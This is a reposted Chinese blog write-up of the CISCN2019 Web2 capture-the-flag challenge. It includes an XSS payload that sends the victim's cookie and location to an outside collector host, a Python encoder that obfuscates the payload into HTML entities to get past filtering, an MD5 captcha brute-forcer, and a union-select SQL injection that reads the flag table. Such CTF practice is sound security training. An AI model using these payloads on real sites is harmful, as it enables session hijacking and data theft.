小言_互联网的博客

[CISCN2019 华东北赛区]Web2

207人阅读  评论(0)

这次ciscn差点爆0了。。。
还是多练练吧。
注册账号登录,看到投稿和反馈两个页面。
除此之外,还有login.php,register.php和admin.php,admin.php访问提示不是管理员

发表查看

直接将我们输入的文章内容显示在了页面上,猜测存在xss。
测试

没有内容也没有弹窗

看源码

我们的语句被放入了源码,但似乎被编码了。导致没有执行。

这个反馈界面应该是模拟管理员点击链接的过程。
思路大概就是通过xss获得管理员的cookie之后访问admin.php
因为对语句过滤,用脚本编码
buuxss平台
xss:

(function(){
   window.location.href='http://xss.buuoj.cn/index.php?do=api&id=5fZN9o&location='+escape((function(){
   try{
   return document.location.href}catch(e){
   return ''}})())+'&toplocation='+escape((function(){
   try{
   return top.location.href}catch(e){
   return ''}})())+'&cookie='+escape((function(){
   try{
   return document.cookie}catch(e){
   return ''}})())+'&opener='+escape((function(){
   try{
   return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){
   return ''}})());})();

这里要用window.opener.location刷新网页

xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=5fZN9o&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
    output += "&#" + str(ord(c))
print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

将产生的结果在文章发表界面提交,获得url
http://8d185026-b4a6-4440-86da-322fc04dc474.node3.buuoj.cn/post/1b28ea0e547723ebfb156fd5616f5cee.html
将其改成
http://web.node3.buuoj.cn/post/1b28ea0e547723ebfb156fd5616f5cee.html
之后是要利用一段验证码

验证码生产脚本(python3)

import hashlib


def function(str1):
    for i in range(999999,9999999):
        md5 = hashlib.md5()
        md5.update(str(i).encode("utf-8")) 
        tomd5 = md5.hexdigest() 
        if tomd5[:6] == str1:
            return str(i)
if __name__ == "__main__":
    print(function("659ad7"))

之后在xss平台获得session

配合cookie成功访问admin.php之后是一段非常简单的sql注入,无过滤的数字型注入。
最后
admin.php?id=-1 union select 1,flagg,3 from flag

xss还是不太熟练,虽然知道是xss但还是看了wp才做出来的,得多练练


转载:https://blog.csdn.net/fmyyy1/article/details/116945925
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场